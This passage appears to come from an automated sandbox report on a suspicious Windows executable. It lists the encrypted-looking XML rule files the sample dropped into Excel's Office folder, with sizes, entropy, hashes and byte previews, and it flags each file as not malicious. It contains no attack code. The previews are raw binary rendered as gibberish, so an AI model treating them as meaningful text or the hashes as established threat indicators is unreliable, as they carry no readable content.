Preview:	<?xml.._...f.;.".}.!......0..'.( ...:T0@.M....e..AT'.0.?.jd...z..5..>u...~Y.Tr.A8..M..f..\...iO.......7....q~wo...."a..0......iE.....3...../D....A........X.[)...%L5hi.x.;....<.p..KN2....-h.M.....".N.f.......'?..8..,.............L......I..N@_v...V.).i...r!...H.'&...S.....{6C_.....?..1.0...].]C....f.\|........1..u.Z....6...rl...J)7.\R&.^D..g.<.......].M.R._X....\|.u.......D....y...,......YE.NP..'-@....?......'..q.X..<.....e...D..8....%...}:.9.o......d].L8-D.....{...B..G....ae..).\|..eD......L...^....A.+..c..T'. .<.AG...u.......IO..%=..T..K.u....O8.q..-/.,..M.O....PO.X....!..'......{.....2....F.gyF.....!..?..{.E................q=j4.6...3Y.l.z...8q......2....k.N......e]w.i$a.....H.m....].X..I.....RW...2.f......2..`....y...x..d.....V.(.!_z.:WC5.....}...;....iE..{....3u.........bh.QS..L. .x..x ......&v@.]..{.>....J.`............Q..u.f.`@.O0R..mY.....~...*..2....85M. ...d..C.ucT.....r.....K@Z..6...... .Rt^Q......[Jd.{nb..<..g..B....m.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.8163971355312745
Encrypted:	false
SSDEEP:	24:MJmlMhVDymNxqoSTWpd4qtahApAm7bcF5uyQ2bD:MJml6dyvtoNaPm7bcDuCD
MD5:	5F01CD411310BEF1085C45CB8F042520
SHA1:	40D8407E8B2B7140D536DE2C5CA7C18E00ADDCEC
SHA-256:	9E5BF0459ACD771E9F26662B3709F78731564AA8E5C1054CADEDCEA79BE2EF18
SHA-512:	E4F798A6A5BCB0769508C7573CB7B54CD14538F8F1A285C4C458C156E3AB7DCCDEC1A3FDD4D609F9050E935467E75837048C1C6520B1657955F625641332C4AE
Malicious:	false
Preview:	<?xml.e.7....;..;..@...@4p~..l.+.{3...u...i.Jq...a.4..V.S....[.W...+.-\.y..<....KSJ..8...Cf..+ .M.h..}.w.....<W3v...@x%.e%........^...h.......c.>v..n\|...z...`.$......q....m...!a...t.McG?iaS..9...Qk..y.c.LM....`....=.q..p.o_..ND.6.U...b\...".......Wd..i.O5.A:...l....=........w.j.N.S]ldPq.l.j.!.Vh+;....P..I8..<<...(g.`(.."U...V..Z5W&..{z.%.W._c.wN..E....b&..17...v....C..u}........%jt'........2._.\.F..!..........].L....0...H. .<....${J..H.... .\..,...yN.c$K.E.p....zj...w....t.G.Wz_E...M.W....x.2..-..:....I.@..D..b.e....jc....h....#m8]..w.2..E...I.1UC..I$.j')mxH.....>Td$.[.".....!......?0X..A..0p.i.`.=B..7..,3..."..8.....:.q..#"a..G6..$sy1..%..cF............%.c...&&'..( .qa....X............e.....3F..*..1N6..8....V..?.I.BC.L.....n...i.-n...c.G,......&.U.D..F.#.r..V..'.[:.T...Cb.V.a$................&.7.d.....:....w..O<..z...UH.P^..5...m.z......Y4.[B$`.&.....=.....~.....es.`......\.....}..r...X....iT\|y.,....5..mMsRxMUuXypapZbGOAfxD9pczHmW8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.805443825188153
Encrypted:	false
SSDEEP:	24:5XqDdA5uwxGbtMSlTOMhFhi5sN4h6QYabP04JthDmUbs9tcWZKQW2bD:U5NlLQ504h6/EfVdbs9DZKQdD
MD5:	6DDAFBDCEDA6000651949C582C2409C1
SHA1:	A98FD5355C4B5D09A342F32B699745A810F9F8B8
SHA-256:	97765E2579172FF10367236F64804D51886E790C44ED5C5CAD35CF5D66B844FF
SHA-512:	DA7FD6CACC3C157613196C01209CFD685898ECCDF541591A9A7E98BFB80482B80C15552B6459952F06440E554EDC7168DC3E84E68833CC95BA4A1453E2550801
Malicious:	false
Preview:	<?xmlh=.....YO....../...........(..)..J...".Nj.Fp...2...U..V.......m..9T..\..i..q.:.L..`.R.wY.F...68X....T...'.B..I:......."......r..@.kdg.M.Ca.@.M.U....q.....p.xqC...\..8.1T.....`a:...!....c.0...J...QX !..:.k.B.8.k........4?.7)E.%g\f.E..h.G8w`.2O.@.....H.[/.......I.........7g.vv....;.j.....>.....u3.._.rt...I.X.BB.........Z?......^.]I$U..OP..\..E.......b.....;+I.C9.D....RU........~..9'l..v....b.....g$.5.'..{B......#.P...%.........B`.....]<.\...U...#[.....@.E.._.w..l......k5..wj...Y.Y.Y..M...4G7H.p.'./....V......9...Df.\|.P.(C.....^.#.!.Sv...!.r~... .w..Da.\|....;..,X..Y....e:q.<.j.g....f.....5.......5.s<2X.J."..D....#!Y^x.V@.....@......]..f...Z.'.........Y.B.8..7.....ArB_ g..............z..t........rC..Q..d.a.."1E.4.C.q.w..q.K...=UZ.G3`.)nk4P...{OAnO..l$...BR..x .h4=....0.eN.N..Xr....<..#W&. b..B.<o..<....[.X.....PI&...;....c....p.^..k"\.zE.Xy...!.G..L.?...d.#&u`.=..0..u!$J.@.V.V.. [.HR..\..w.....6.f.r.J9`.W...D..\|..W......#.+.......*...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.979050586965619
Encrypted:	false
SSDEEP:	192:HmPyk0PDE8iiP20TamwmZyrADD/AVByHN9BVQmFuHvn:GPy7oJiP24yYyAQuHVV9Evn
MD5:	6A774426DD1DA935CE3FEF3DBA94C700
SHA1:	08CC9C9B5EC484EF9CBA87AB8833AFC5EF34FE88
SHA-256:	AE40232FA7C40495C5D5A63503DCB8DF5AFE1DD3FF436AA29D9A649170E9E502
SHA-512:	D8E0907C1DEF24C6914C2A841B504FE045F4FA74600B999FDEC52F4664EE7D630E1DA3346852476FE383D0F326B905FDB05CDA671CC1E10656BB72755C5EA52E
Malicious:	false
Preview:	<?xml.5,"......I. ...da...Y..n....ivEf]..3..<&....v...e.5"9.g..5...nH>Y#..K..3..8...P....#4H...+D..!.)A/..hN.i4t...@...u..d.;S3E.]J7......^...../%'.....y.t7q.r)F6..tl....&.k\|..G~Q.....E>.d..Y..d..,..+.jBm...<a.....V......iuN-C..A.L..q........6&3-k.=\|.X6.....q.>?.....`S#....x...:~..7./nb....I..Gy...w.....6.v@\|.........JD}..mL..,{ ...`.....=....+..~/s.k6[...N.M...~.1..}%.....h.b.s....e...<.w....uS^i_1F....8.B....../u.$:...g....MJ...D~......$..T)....\[Df.....=.^.{..W.ImI].....3S.y.9~]8+.$x.A,.v.e"x_f.....].l....9.l..$<.....?).Q.n.l.X..#0.~...t.jb4./..'6..l...D."..7-&F..#......(.P............=.3.r.2.y....\..eU....g.r.....E...$...0..O..d.l..%.r.......1..5.;<i.-..=6,.W:#r.{..o/`.X......w...S.{..&..eM....K.4t..u...4..4%..@N..:.q.........G.T=.,...j{3.'......R.YY........,f.'[...z.7..P........Z...J.....X.R..}..'.\...)t.$.N...>........$..Uo..C.H.r....JY..pa....A.g!....\|.d........l..Vk;xo.(.E3....N...o.i..v...=....?}..... .;._s..w.kx;{j........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.911681909840393
Encrypted:	false
SSDEEP:	48:yVmtMfGs+hNxFjytVgUFcs9U0TmXSNGmC0k5oq+Hl7JbUoKbfV4fi4no/D:FtOENDytiUFcs9jVNGL0k5+Hld4oKbfL
MD5:	59DCD24458958235D9A799FD9C1A8C61
SHA1:	8E07A8FC24D24550B2638A757D324A40A1B4AB58
SHA-256:	2923915D7A8E4281E0D3C630923BDCE696CD74E17EE3CB6635E613E9A7E71FBC
SHA-512:	4B5EE626C4748A5F71FC24BA2224C33048A4066F735A2F3ABD8FEA726A4E7DCBA3AFAA55F6274FF4D8F8AAC4D9F3FDCAAF528D9CC2D8CE8163016BA4A4E46E22
Malicious:	false
Preview:	<?xml.r.;....{.g(Q.:.N....y.R..)...o9W.C.L?u.......x...M.9,.o.xf...{Y..7.L.........]..;..{..\...".UM.$.B..9.}...pK. ../.<...t..3...gA4j4.P.m..:.i. r...@.H...h.<$Y."..`U%z.k.HHa\|l".......e.0.X.c...2..D..2....\.........q..\|...7..J..f..n]u.z#.{..^..9.`.r.@.O-.d..~#......L+.........WI\.ID...2j............?ODip.c...g.....G1={.}(2....n+j.w..z7.......vl.nZ.Q...]...e..agk...a.lym[..o.9.\|.......A...4vR...~....^..S....%.o.d....d....M....Du.l<..P"J.qq_vC.A)~.'.h".FyQ..lmN&.e...#..d5C..........l.`..F....S#.T........b..M.E....J.a.....s.6........%.E..(..q.N.x..%..k.yp...u..F.~..K[..l..a.4x...f.J7.....W.Y9v..m.s....i..u[...M.um.p...vT...U{....N..(....`V.U..7..W.X....y[.gQ....!.Kz.FU..J..1S..(..z..a\|C:E..`v3\|".x..Iv...U....;q......7.F.[..P.v.gu.....+-Mv..h...Nd.....<8..=PqU.\|...[.H.>pUGx.0.:...-_....Q}.......qd.X...W...FB...5~s..%M.H6Ns.G..x..D..d...0..?.v..(...........H.r;c...Yw....T.k.)....`.JU!.>.C.....v.%......>....[....tvZ....:....,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.933458116616111
Encrypted:	false
SSDEEP:	48:UQXuUKibzJui1lS5fY+cblPo8CpOOdIYZaE+HAoGJTHLkD:CFEtH2Tcto82n7Zlm2Lw
MD5:	7B1C05D874C0E267EB0022D85686BF03
SHA1:	9DB0B293B7CB0D2D80CD094F8EAAAEA80431D341
SHA-256:	C8FEE70AA971667E27547D396D25FDDF5F9E568589CBCC1CC1329CAB54C4FF2D
SHA-512:	66F4E02FE45A4301E25CAA89F892CE6E3F6CA52FC3EDCEAF9AC82D09D7BE7B17A2584F3F9FBB90F1A03FED7F18EB0F79CD24322BA9E01BC8D6A867B02880DA60
Malicious:	false
Preview:	<?xmlI.s.f......?..32.o.{....^....r..(S..wSh.^4v.5..BEt..'/.}.T..^..o2y?.G."D,WR.[..p.S(P.d.wT...Gr.%.....>..p..\.Wj.%.n....zI.6.n.M.#f].2.}J.R....S.....K...j..-..;>...=&wS/...m:.sV....."....Z.....o..j7I.Vgy.%.D..[t)..\g.B..6}N.. ...IN...s..C.kG]..3.........t=q.y.=.e>...;....Do../....j..U#..ck&q.@.....v...YN'HG.....fD9$."m..cf%.@...v....b'.V..A.&..=.>........^..vVI....]... <G....c3.u.~.X."..@.............\|!z..f.L4@..\..Q&%.].....t..0r.`.COl.;g.._..)"..e....TC.@..3T.LN@/mv.2.O.QP..V......d.~......@...NC..&......2T..,..Z.]j....z..~d...T..9y.........a...2R.....m.D.$.;.^.tI............R.....a...S.Ut...9..Wx..\|.Bt.Z.....p.R...8e.&.s..[).o.<.]8...@.)....,.*..w3AE....'..tk.!.Z.c.$........rFz.!....x..y..4.n.)iF.\.~$....!.B.X....que_1.0.{L.\3.?{..H>r}^...4=..b."DR.......`6W-;<..j.s.....1r.-;36..#E..A.T)....\...(..a.Z...V..+.~....lX..}..IV..r..~(......t..&..3.7....,.C2n.;..g.Ar..u....a0...'.+?j..c.;..R..8.l....f.."..p....y....{..V7....\|.L..y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8316828959671785
Encrypted:	false
SSDEEP:	24:9YXgRQHZBVmFIUdORLpDtLnacPHB7h7kxR1JrDOtRn1yj+h9dIb0mh2bD:WgWHZBVm+UcRLdtLnacPFh7kxR1Jrqv7
MD5:	176B4334E607920E421E6399339E6961
SHA1:	574A4F95420A77FD0F90CE1AC3C76AAC7171AD78
SHA-256:	48F5AEDAFB45925ABEE816C01B6D22B41DE99AA0CCF66C3CB821F97B9FC1211D
SHA-512:	94973725DE3C5F2779E24E9E8E21C17685D3EBAC317597DA92DE26C10A25AC56D2A53EBC181B21CBA0CAE59E8601214140C697F45A753FDFF2856C3710E7F8B0
Malicious:	false
Preview:	<?xml3..s(L...e.G.e..S-...!....}p..M...lL3..gI.]..3.H"N..).$..h.%. .i...e]....b.?`.md.=.n..s/.B...L..v.m8`....t..v..<L.>..Y...e.9.q5.M.S+..+..b ............'.b.{.5)N.'.B.8.w..2E=v.....C#f^E..;.{....P.....>\|....G......B!...u...S.]5N.l....Y4\.I=.....K[v0.h.E...6...NI.E......z.......]V...9.LB.R..q.8D...a#Q...$...>.{.l...W...c.X..f.g....f....nw.\|G.i.r.5..G.z..R.c../........1U{...l..8../...z..pQ.0..3..\|9<..;.P.._.....-@.A........'....p...'q.Y...8hY....G......+%.MX.....E.e.5.Y./.v..)y.Rt]....Ju.dv..OvB.3.....6zk..{!....-..p.n...K#.@....,.g.t....}...G..GW...._..=......C,.......Y....B..z..gO.8.....G.....?.3.{D...u.\K..K.p7.. REhC0Ky..{....wF,~...j.CLj..4_...{:_.u.<.&6E\|.^..L4b0..0....h)......L......x...fj.g....n..oQP.......7i.+........,...T=......=............a.9..Y"..8k\|Yt......F<....$..}..6...h.}.1..q)8.i.f.#[A..=...x..\|..a.v_.........K].._!.8T...cY..n...;em...'.R?>....4.......2...w...de.'...3.."..."V.....)...C..{.@.KTi.e;..M.T.:..QTlF6"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.708391818984019
Encrypted:	false
SSDEEP:	24:QWBgXEI5KIl1n8TZ54uCcWsYNbSfC2QZBQ2bD:DBgUHan834uWuR+D
MD5:	D11693331C0070792E388EF1DFDB4315
SHA1:	94CF91C70CC61A669A4856A7F2335E3D425F07C5
SHA-256:	96E65AEB1D673D81A2676ACDF1A0232E0D81C52A9E66C2DF1F0A91153F5BC416
SHA-512:	4CE8CE383D5698BD458F99BDB6801A3F9B98194234A3DE98BCF36DF4C2F7BB885B2F25AA5006C6FFB972B532229F63C08682D38407E5BE1D9FC8CDA632C8315B
Malicious:	false
Preview:	<?xml.Jb>........U..J?Q.U.(.7..Y=e...n<X..z?...i..\|.i ...T^....xWR....wvUZ_Y../...+k\|.........mM..r>n$.M.E.]..,..k.9.,F.\|..\|.....V....E...X;...LF......A...R......-Z}.)...>.j....04\|.M...C..X#....{.a.#.h...;...M.I/j..5..U.j..%.e....t......Oq..:..3DX*j..~B..<;..R..%.....3b.. 6..2...B........z......m....J..C.h]...@63.R..r.}i......y:ZTK.\.......:..A...F.......6..fj....n=C.g..y....0._.<j.:..0.\..bUY.....0,........j.......301.......B!".N.E=.9rqh}l..Iz..`.:.........\..1.MUp@....X%<..F..P.:\....K."......O...y.t2..L.(.l...-6X..8[.(d.W..(..J.s...R..I'..q..:......N).. .;d..]f.WJ...n.m..vAkC..Ew.).....N..V.c...q_..A"...%.....u..\|&.z.b....\|Msk\|..J]J..b...7....$...cCmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.752383001121348
Encrypted:	false
SSDEEP:	24:IIHDuerYSa5heDFRE9ZO22yd6/+0BAEvLee2t2bD:IIjuerYSa5heZ2ZPRx47h2GD
MD5:	C9CF0B94EFD6012C2CEFEA534A623A70
SHA1:	02DD1C8C5E29A8E7312BE0D77D2F8791301DE452
SHA-256:	4ECA5FA1ED06431C2E6126BA91215AAA44AD2C0EB57CEA6576927E2681C1F275
SHA-512:	6C5C0119D15D77CC5FA2CAF595AD51425DF8A087EECF681D7C3E140B6AD07A783ACB0F3ECD38B3F58E2A3B6BE526D64BAF2E866880B5F14862079382FF6A9EBE
Malicious:	false
Preview:	<?xml....k.x./VL"(.i.'<.3.m++W.{.-aW............@.'!.....}..._.B.s..>.B....VP{.@V...p.q..f..w..R5F.J8.4?..>i.]...l..f.W...z~P.R...TK.[o.Xg.......@'..@FL.....}R.%.c%.....]....H.2%....f.u..N.........w...2j....u...g..5..pq(...=..n.B..+..t...1\r9.z...{..b...K..@....D..P.w7`{H...iW..,..P.>...Jn`.!...a..$......#...+lp`.....}.'H.....^...B.P.b .7.7.J8.......7BL..D.{f.1..<.S&......;....J.p.E...v$l......\|.o7(...c....F..RM...U..1a..q...(6....t.k...q...omH.....L.}...7v.Qk.....fw>A.jk....$.!.N.'O....F.....#..z..e.n.HoU..X...:...%...SP...<.93.q..J.>.tV....C.S..z....(..%..M/*.R`.......r.9%S`...'J..vA..M:D....w1.(.u..T....d.Q.%O.V6f...~h.l.ad.].(/Fd..L.U....\|`..H....d.u...i'.K...o.y...o.9.....g.1.3.^.}+.eq.[.......,7}.."l\.......r4.[i.5.. ........r!R^1w...smMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.937326605523398
Encrypted:	false
SSDEEP:	48:jdeVoTKlwTHHYTMPgvBR0vGOeAfcWABymAqWBEAi1RBGc2rv1YLROsFD:jEVoeCTYTcgvBMZeMcW0AqxAi1R8c2rS
MD5:	B172E800FF714043C67F41E5DBFA04BA
SHA1:	7384DA7CCA1D7CEDF0730F99A5D66802D3A4DE64
SHA-256:	003ECA9037BB8E6C7A5A6B365BD2CBB4CC6C3291E043DCB660209884C7667D8C
SHA-512:	D61E2D36931A41856A6234CAAE252A2622510119EA3E758AE19D6498D1DB702EA8EF3079558A128D406019281DF902B36C8CB53CBAB9D9531769F130327D4D33
Malicious:	false
Preview:	<?xml.QI.!.L...H$...R+.e..\|.Z.`.P+.c-w............lX..,....B8..e....."X...Z.{.:~...#D.Q[....Dr.....E..0.r.(...%..X..:7\/..xH.....ly=..k.....'{.SY.(S.i.H.Q.....u.I.......Eh../0.p........QW..~i..M.5td..Ns.G..v.(........[...JE.N(..HK.....X..`!p.....Ig..@.K.H..,/?....^w5a..... b.\|'...)rJ=.q........vw.&...gkX..G..t.X.....p`.m._N.[-..,N,.`..x.:.....".Z..]#.G....{.\Z..9;.....O.R.?_......-&.L.i....\.-Rn.?........g.X..Wh..t....6.7..!R;. Dr.4.T...+dN.2.i..L..fp.;.K...X.t....Q&.....&...~.k...N.....zOV....0...9.M;#-.5..l.k.......y\|..^.8.m........]...Y....1....6..l.....Wcs....J....G.IA..i!.../F......;p.....n.....ba$&....I$.;......9..F..-. m..WB.d.Tvp.....7......\.....\|E...y.....=Q>u......T.P#1..En.r(...3.89.K..\|..._...;...&.I.)ihN...!...k.....\|..8.<..@u..\.....zq..\|..(P.Fi....5\.J......s.7....?owaw.....HV...w..RC.....>...^..r.$.7...`..G...rYs....q.).v<>h....!0.......Gv....7R.l.q.....yN.I..Kr..E..w..U.....P"....6.....r....m.....<L>.[.. ;g84....e.F...w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.971042184426933
Encrypted:	false
SSDEEP:	96:FnKGQ6XHaoWn8ViunwXzcnNrTOt/pjWHYhZZyeG4sx0aXVbxWr8fIuN:FnKGPXHalaiun0z0Nrqppj0YJypxmr8H
MD5:	3729ABFC189959457F462A7D77C6CE3F
SHA1:	AED76F5E30F70DFD87EA43EA809E5B0EB525E218
SHA-256:	BE4D786444B1091AF189BEF8F964A9022365C6B7C71AD9E74F163EF9D54C0BFF
SHA-512:	6FFE0E9876698C650B9C643CC31280E3D3AE8618B4424192E6CBB63F574D9361A19E565DFDAFCBB93D842137054F253D86ACE72107264F3F2379C2F4BEFE6461
Malicious:	false
Preview:	<?xml.Tl.7PT......xY..'.Q.....Zm,.Y...F'..?R.._..'1..._.,.y}.N.=..... .uj..........v.C%%.......;...........K..4....o.J........0.4v.-..S.d..qr.R..f.l.>.....]7#s.^..x.>.U.....r.z.2PF'..Lq.......r.c..0/.F9.....0....e.z\|Z..8.1.An....].'...<h.xI.u^Fm.wJZ...f@.M1.+.#..E..K2....@.E..uhP.u.....o.GG..9...!.&..vg.2~c....l..._m.....M.'..L-...D...f....5...$.VF8.2.!.T.lls.K..l.....W..#....F...r.?+k.>I1..p.nI.. .............C...Q.K..[..=......M....$.d=.......0.{vG./o'..A..}..i...V......f...,W...uf.JYT.$QU^.........f.SO.B..>z.Y..'T.g.......2..5...>...:.....dN....._..h.qc 1T#q.S2S......0.a..?3..39r..2.....%.8h....WW...sPy...,.&......"m..+.n{.9....A...:..5....l....a.r....}x.X...k.n..D.!.......+..CM.6.............Q....L...c..Q..s...i -..\|...tO..*h...!.0.~%Q9p..t.g!....Qlx.-...;..Z.../.............M.}GY......~....Y...4...e.V..%._=..T;....~.+}&:...s...5#.1..m..R_..9..(...bqA.2.O...X...c..t......wB...n..e.C=.....hOKi,.E..@he[...3..y{.nK8.r+.[G...O..a..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.859121287668584
Encrypted:	false
SSDEEP:	24:2aMiAt/fHgzWhanz61HuacUyLjcEQADw/S7XG5Kk+0jhauGz2bD:QtUnz6vlKIEJDwq7WUk+uhEgD
MD5:	4D593295E10157FFDE8CA83754B1055E
SHA1:	FDFD0199C43FC9E0F10A7172886353CDC8174527
SHA-256:	AAF40F89DCD3902DE3208483B5EE7176B8A3E620CD8715BE1910B4313BCAA42A
SHA-512:	DC1952F67677D656E967686F5A4BC3619C851E857B7A43C55AE4F6BA94A2AE2ED2C37845CC0520DEBA972E383F5F8CBE3BBC82182446A2B2DF4504CC7DB34A71
Malicious:	false
Preview:	<?xml....U.}.O_Ve<.~<.....J.....O.W.0..m+..Ts..{...~.Z..c.X...~G.t.1...OT..,......GW.....(E.1h../x5.Xu.D....X.4.\.M....{..Z9.a....c..`..../..&.0...a.....P.....Q.g.Q.....\|......Pn_X..`....}....p.[.3f.......N.'..A.(.>+s..:.....]~4.&.V=.......t.M/.J.d...f.nS...F dZ..cY......z..F....`..tGt/..........@t./..xu1q.2...S..43.tRX....V..X.-0V.z%...5....&sT"..s.s.s.A...O}VI.=.:..VH.47w=Rp..KK.z.....x.e..@!.X..f..C.8...C......3.E...5.]S..W..X9.....LU...[4..'..u.{"-...%.#.J.y/bj.jd..w85<T......qbP0..C.7....as....C...0.E2Q[J.S.p..M\S..)?.^.u{..'.V...l..\..)5q....d!\f.....<...\|i-.u.Zq..\|......J....ZA.!O...Ud.,A.z.A....E.p^.....%...J.....G.....<\.&....7.q.....H.6..(..a......`......x....t.T....oo..V..b.{.!.9.....^.s..../w.%.?......\|...o..N.....m_...D.,.y...ph.KJ..Av..J....P...;..{A.\[.CW!^.......}....t...q.g....v..)O.F.y..n(~_Ki....@..5&/#6.........[..^.H.......5..]..>....S..........{.mlq(.E....Jm.n..d.T...%2%...'..&M.k...C.J#R_.....[..D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.775999412090038
Encrypted:	false
SSDEEP:	24:Li8tGnx01XQxSUH89aJd+JbWEslncA0LBn2d/AVhoeeR//H2bD:Li8tBYB8sibTEnyLmYVCDUD
MD5:	17CB9410CB691C1080C854CC569678E8
SHA1:	0E5B3E385EB39232CE1421A8B4BF8F0E6886C89D
SHA-256:	E373CB72A34F367522FAF3E8C66750C5653F3EC2EB8FFB4BFD289EE73073FCFF
SHA-512:	A9BC10E2F875B12E2D3C6F8602F76953F5F1823439DAEAFDAFE1A8AECBEC28B637E64A9F60E4E2AEA21745525F5D95F58CA0E9F452649572BB587F5491923390
Malicious:	false
Preview:	<?xml.h0.#..Ad-.A.9.......;.S.l...DKHi4R.a`.U....P\|..(..E..."....\O.>mv.c;0O.I...,e..4 ....z}n>8>..i.m.T.3...6.].E..r\w.W..!.....D...-#}.r.Y.n....w..x.f.=6....4...a.P.h.;.6Vh..:.5.~.b..=..W..N.Z.[.D.B.I..(..T... [.1........<k...u.^..hO...4......k.Q.>}..\a....'..1.'..+&...._f........#....#..B]'U9O[..,..."........)..E?...C.(.D=....)...L...8.d....1;...a..z.a.....cW...Rc+.?..wo.G..\|.Y.+D.{i.7.Kq.#.....C.Pw.d..7.g.TB..C....A.^Jl..g....A3?.F..W...>&.....3zpO......,t.....v0.x.Dq{....9.(....q.R....L...+lC .F].vW.r..."@.J`..r{......?........6]t.A.lmnn...0.!...x.ap....rH`...H.c.zk.2 ...].{LO..F.))...T5..+.H.K{pJd.'..I.........R.~.G.r.^h....K.....b.^.....Wn.t...$%.7.......P..-.O..#>S.e.c..^..v..1<...L....`8..l..fE...&P.c..p... ..cb..AI.....0...GB....Q:...5=.8...}.....P...j...x..pjv...fF.\|y=q.uJ...._.J..W.........5%..........Zn...../}.d$@.t.`....j..k.k.G]....o....Ni....\^...Ht;..eb.z...k_*'.\...=.Z...#.&>$....&..V...fz.}..9f.Qa.L6w5>Q....`....7.<\zZB....'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.951196735795594
Encrypted:	false
SSDEEP:	48:x2jo5UqSB28za51HWD3JD4wN1M8BUj7mnwfQLt4CG3ubFKQiLiMhe83bEkv/qGmx:x2YKzu1U5D4wPoDfwOCqii2qbEknqUS
MD5:	B0EEC0FA6D303C4EB8CAC6AB87A66AAF
SHA1:	C931F8B453611EBE14DC545995454E6A98C48E96
SHA-256:	C046A8EE8E1A3C2F1B926F868A1B6839058FFB9983A135090DEE73545219BE87
SHA-512:	38968A1465232C63D3190FCCB666FFFBDB8FA9D8D9E3A032D93133F7E87281DF920D2B0AA5FBA4151DD69478C4C55C22F4637652E6AD5B708DF70BA746FD99EB
Malicious:	false
Preview:	<?xml......S9.....X.(.g.../u...7.....nCk...G.../..'s.d.z........(\|)w?...\|u.s....lo..:C.#%..l..?..<....y.l.U.&_,~v...\|.3I....^...UN.\|..NO9&d3..Z.N.lp..^.."....ja.,L.tQ ..\EDj...J...Y.]k...V.......aJ Z:......y.....z9...g3.....Y.....!$..4./......V...h..+F..R...q.Z-.(r..U.r..x.^.,-p....[a..J..#o" y.....V...J.Y...g...O..h.........h.1js..N....I..e".......l}.......D......?.......d.._.._.\|i...5...x!.=..c.,...;...$i...!.!}.,..!......".Wz..<J/..a.u...b..I.=....n......<..O.....Z\|6B.......d..{.xq....-3gq.y\|.).;.G=...v..<..1...).U.u.L..,.#.n.......B...&.... ..L........'..{.-Uv.%]95.s.....{.......25.gs.x.9].2.....U.A.K]@.o.........z...u. ..Y......GU...3..h.8..r4........B..e...Suk(+..H..cm.....T.o..U.A....ZL..R..R.qm..I.\.4.....Gr.G..'.... ......+g:.N.$.O.JU..~..wJ0..%d.............~dE..I.}U...KI..vOF....('.<..-.Ok.).^...4.....d....+O.;.D.T.S./..A..Yh.M..F7h.v........[$L...H.>Fe\|..o..a....N......@.R.n......$'...%.Kz.1Ra....VtFi....r.&.......ZW.9.7.pK..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.755333797568488
Encrypted:	false
SSDEEP:	24:oVrRXKCNrvBpk4tzr0IRr1YdSWdXnH6d4lV2bD:oVrRaCLpkgzVbYS+3ad4luD
MD5:	0CC4F22D68080B0C9C1B2C9FBE360348
SHA1:	ACC758C5966C3D5E40230DCC4455DC2503350E0C
SHA-256:	F823751519AF1A21C99DEDFEF38173709D1C88BB1D187DAA67BBCCF335350314
SHA-512:	9E3C6063BBED29A41B83FDD7711204CFDFEE08301DE4FCECA35CF8A418E9724A41A485BCB46E8B4D46A19EFA79DAA3D5717563AC5D942714901A9682B299A15D
Malicious:	false
